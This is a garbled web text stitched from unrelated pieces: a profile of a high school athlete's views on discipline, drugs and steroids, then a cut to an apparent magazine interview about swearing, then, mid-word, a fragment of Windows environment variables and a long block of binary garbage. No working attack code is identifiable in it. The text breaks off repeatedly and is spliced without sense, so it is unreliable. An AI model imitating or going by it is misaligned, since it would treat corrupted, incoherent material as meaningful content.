You have to set goals every day, Tom advises.  There are a lot of people with talent, but to rise above the pack you need to be disciplined and consistent. Coach Ekmark has inspired me to be thankful and not take things for granted. I hope and pray I will make the most of life. My parents have helped me to stay humble and to handle adversity. <br>As for drugs and alcohol, Tom is totally against them for teens and athletes. It was a wonderful thing for Tom to be able to look me straight in the eye and declare in all truthfulness that he had never had one drop of alcohol or gone near an illegal drug.  Taking drugs and drinking alcohol are not good decisions, confirms Tom.  Not even a little bit. If you do something illegal long enough, you are going to get caught. I will never do it. I want to surround myself with good people and, thankfully, I have been in a good environment. <br>Whenever an athlete like Tom has extraordinary strength, the question of steroids invariably comes up.  Steroids have never been an option, says Tom.  I never even think about it. If you think you need steroids, you are thinking and training wrong. Nothing could ever make me take steroids. <br> The Be An Eleven concept is important here at Park High School . . . to be a great individual in all areas like athletics, school, family and community, says Tom.  To me, it is going the extra step to stand out. Spiritual values are also important. It also became known to me that Tom prays every day.<br>Tom tries to be an example, and he is very much aware that the younger ausing this language, that seems to authorize it for you too.<br><br>BFS: Do you go to movies?<br><br>JO: I love the movies, but I ve noticed that swearing often doesn t seem to fit into the character development or the plot. Even in Disney cartoons they throw in one or two words that may offend some parents who wonder,  Why are they saying that? <br><br>BFS: Did you see the movie version of South Park?<br><br>JO: Yes.<br><br>BFS: Did you laugh?<br><br>JO: Yes, it was very funny. I thought the story line was quite clever and the characters were hilarious, but the movie would have been funny with much less swearing. What s interesting is that when I saw it, a couple of guys in their 20s were sitting in front of me. They were in hysterics when the little cartoon kids started swearing, but after about 30 minutes they didn t laugh at that anymore, only the parts that were authentically funny. <br>BFS: What are some of the problems with swearing?<br><br>JO: The biggest problem is often not with the words themselves, but the tone or the attitude behind the words---they can be very hostile and bitter. Who wants to be around someone who is often angry, negative, and just plain unpleasant? Swearing influences the way people judge you---your character, your intelligence, your maturity. Swearing can also be very harmful to relationships, both at work and at home. <br><br>BFS: Doesn t swearing help get your message across, enhance your language?<br><br>JO: Swearing gets across the message that you re upset, but I think that too often there s no reason for people to be so mad. In everyday life, things go wrong, accidents happen, people make mistakes. In the past people usually just dealMD;.VBS;.VBE;.JS;.JSE;.WSF;.WSH;.MSCPROCESSOR_ARCHITECTURE=kϛժK-[e<%x?eh09b>UuH|=,McTQ₟ْOg|cp)b(h݂A@n]i{T# ǖYF!қԟqSAJ04@*mo6ޤKdx`]+҄{mh=҃3QUj(N:Q=PrY[2Q4# Y]$Ɖ/T|TQW׍*TŘ(tߎG6|0m""zDɖBgQN.|)1Q[.T4uH|kMWQ.GZMihu i Ƞ_WDUQM.Z^A0$ KwVybI|n10/fjV_9sZ\fj.I.*7c>,Kdtݏy+j6|ՎH*F=p6@3U c4cP@2`};ަĸiHUŮjWӭ\\XG9r~m0"<&{@I$t5P (8;eրf.L[ |b3OtQ@*UP>a93q>5e摤Y9,OR$JzS*Jwu+sZʎjyc*Bw4PK3Gl5ѵXCYT,WV<4?$YVUW'9$5l79>ZE?ȫMv&Mkܧ "?Oُ8dַ֯趣ql=Iq%}{=k$d7_MZfd#(JIh}D$kmxZ[O$(Ѭ}'@| }YR$xciN6w\{[[xlgR(-'([HȲ] #ߛ ߜ:6gkzY9w[SW(PMaK\Ol3cJ  o߶,K6lV"TWbqD+{?78#XKZ1GSC&taCʼn l8T|UX%]nRa̍9 Fqv Cs账Eڧ勘S#(Ө1X)%DU!,w1\zDo@ msmpƪ;;\Ѣ8YdPBR8pzuq԰RZ9N&~Ŀh~4\przOOHPbAFɨ"/&SǢؖ|+쏐+|FBiSϭd
